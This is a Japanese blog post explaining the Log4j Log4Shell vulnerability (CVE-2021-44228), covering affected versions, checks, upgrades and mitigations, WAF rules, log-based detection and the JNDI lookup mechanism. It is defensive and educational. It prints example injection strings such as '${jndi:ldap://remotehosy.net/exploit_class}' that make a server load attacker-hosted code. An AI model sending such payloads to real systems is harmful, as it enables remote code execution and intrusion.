Apache Log4j

【PoCあり】log4jの脆弱性で攻撃される条件と対策を技術的に解説します。CVE-2021-44228

投稿日: カテゴリー: セキュリティ
Pocket

マインクラフトも攻撃されたCVE-2021-44228とはどんな脆弱性か?

Java製のログ出力ライブラリApache Log4jのリモートコード実行(RCE)の脆弱性です。
攻撃コード(PoC)はすでに公開されておりゼロデイ※の内に攻撃が来ている報告があります。
インターネット越しに任意のリモートコードを実行できるため攻撃されたサーバを介して組織に致命的な損害が発生する可能性があるため火急の対応が求められます。まず組織内に該当するサーバがないかを確認(影響範囲の確認)、次に対策を決断し実行しましょう。
※CVEが付番される前のことCVE-2021-44228(NVD)が振られました
※Log4Shellという通称も付きました。2020年のzerologon並みのインパクトですからね・・

影響のあるバージョン

Apache Log4j 2.x < 2.15.0-rc2

【対応log4j-apiとlog4j-coreの利用と2.15.0-rc2未満なら直ちに対応を

確認すべきはJavaアプリケーションがlog4j-apiとlog4j-coreの2つのjarを導入しているか否かです。
これはpom.xmlがorg.apache.logging.log4j、org.apache.logging.log4j2を導入しているかで確認できます。
コマンドが叩けるなら以下を実行する方法でも確認可能です。

sudo find / -name "*log4j-*.jar"

該当したら利用するバージョンを2.15.0以上にアップデートしましょう

dependencies { 
..
 implementation("org.apache.logging.log4j:log4j-api:2.15.0")
 implementation("org.apache.logging.log4j:log4j-core:2.15.0") 

やむを得ずアップデートできない場合はspring.jndi.ignore=trueに設定する。またはlog4j-coreのJndiLookupファイルを削除してサービスを再起動する。

Apache Log4j 2.10以降のバージョンは、環境変数「LOG4J_FORMAT_MSG_NO_LOOKUPS」を「true」に設定の上、JVMフラグオプション「log4j2.formatMsgNoLookups」を指定という方法でも回避可能です。
再起動というハードルがありますが・・

速報:AWS WAFにLog4Shellへの検知ルールが追加されました。

New:AWS WAFにマネージドルールに「Log4JRCE」が追加されました。

KnownBadInputsRuleSet バージョン1.2以降で利用可能です。「Log4JRCE」ルールはCountではなく、Blockで設定しましょう。

UserAgent、POSTリクエストのボディも含めブロックされます

文字列が特徴的であるため今回はDlog4j2.formatMsgNoLookups=trueよりもWAFの方が有用です。アップデートに時間がかかりそうであればぜひ検討ください。緊急でまとまった人を動かすより相当低コストのはずです。

AWS対応早かったですね。

【検知】すでにやられていないかの確認はjndi:ldap://またはjndi:rmiがエントリしていないかを確認

対策を完了してもすでにやられてはいないだろうかと調査をするところまでやるのがセキュリティのプロです。すでに潜入していてほとぼりが覚めたら攻撃の目的を達成するなんてことはよくあるパターンなので、ログを洗い攻撃の疑いは潰すところまで完遂しましょう。

影響のあるフレームワーク・コンポーネント

影響あるコンポーネントが広くiCloudも影響を受けたようです。以下のフレームワーク・コンポーネントは影響を受ける可能性があります。
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
Redis
logstash
kafka

log4j-apiとlog4j-coreの利用と2.15.0-rc2未満のバージョンかを確認・該当したら直ちにアップデートしよう

悪用されたのは外部からプログラムを取得する機能

もう少し詳しく言うと悪用されたのはLDAPを参照して指定先のURLからclassファイルをロードする機能です。
「え、なんでそんな機能が・・」と衝撃を受けた方もいらっしゃるのではないでしょうか。
テレビリモコンの知らないボタンのような機能ですがJava製のログ出力ライブラリのApache Log4jにはそんな機能があります。

Log4Shellの原理と根本原因を理解しプロダクトに脆弱性を作り込まないようにするための学びにしましょう

今回の脆弱性は専門的にはJNDI LDAP/RMI Server Lookup Handlerに対するJNDIインジェクションです。JNDIインジェクションに関しては調べておきましょう。詳しく原理を理解しプロダクトに脆弱性を作り込まないようにするための学びを得ましょう。

まずは3つの登場人物RMI,LDAP,JNDIの理解を確認しましょう。

RMI(Remote Method Invocation)

RMIは2つの別々のホスト上で動作するプログラムの一方のオブジェクトのメソッドを他方のプログラムから呼び出す機能を実現するためのプロトコルです。

LDAP(Lightweight Directory Access Protocol)

LDAPは木構造でのネットワーク機器やユーザーなどの情報を管理を可能にするプロトコル(TCP389)です。Active Directory のドメインコントローラは内部で LDAP を使っています。例えばActive Directoryのアカウント情報をエクスポートし,これをインポートするコマンド(LDIFDE等)などでも利用されています。意外とお世話になっている方が多いプロトコルです。

JNDI(Java Naming and Directory Interface API)

JNDIはアプリケーションと設定情報とを分離するための仕組みを提供しディレクトリサービスと対話できるようにするAPIです。JDBC(Java Database Connectivity)はDBへの接続、DBへのクエリ発行、クエリ結果の取得といったデータベースに対する各種操作を行うAPIでLDAPとも接続可能ですがネーミングサービス(DNS,ADS,NDS)からリソースを参照可能な点などが異なるほか、そのアプローチの違いから実装方法にも差が現れます。

Log4Shell(CVE-2021-44228)とはどのような原理の脆弱性だったのか

素材は揃ったので本題に入ります。Java製のログ出力ライブラリApache Log4jのlookupsという機能には設定値をログに組み込むための仕組みを提供しており、その指定を拾うためformatメソッドは${を探します。これにより以下のような値の取得を実現します。

${java:runtime} //Java runtimeのバージョンが取得される
${java:os}    //Javaを実行しているOSの情報を取得できる

よく仕様を調べるとJndi Lookupがサポートされており、サポート対象のプロトコルを確認するとLDAPやRMIなどが含まれることが確認できます。

この仕様を用いればjndi:ldap://remotehosy.net/exploit_classがApache Log4jのlookupsに拾われれば攻撃者がリモートサーバに準備した任意のコード(クラス)が読み込まれ実行されてしまいます。

実際の観測ではUser-Agentヘッダーフィールドに${jndi:ldap://remotehosy.net/exploit_class} や${jndi:rmi://remotehosy.net/exploit_class}などが入っているケースが多いようです。

ログも外部から指定可能な入力値であることを忘れてはなりません。そのままコマンド実行には利用せず、認証を根拠にした認可に基づいたユーザからの受け取りを根拠にサービスとして意図しているコマンドの範囲に制御し実行するプロダクト・ソフトウェアの開発を目指すように心がけていきましょう。

インパクトの大きな脆弱性はそれだけ多くの人の利用するソフトウェアを深く理解するチャンスです。ピンチこそ学びの時と捉えエンジニアとしてレベルアップを目指しましょう。

今回の教訓はログも信用できない外部入力値、認証認可に制御されない制御値は徹底排除すべしということ

 

以上です。参考になれば幸いです。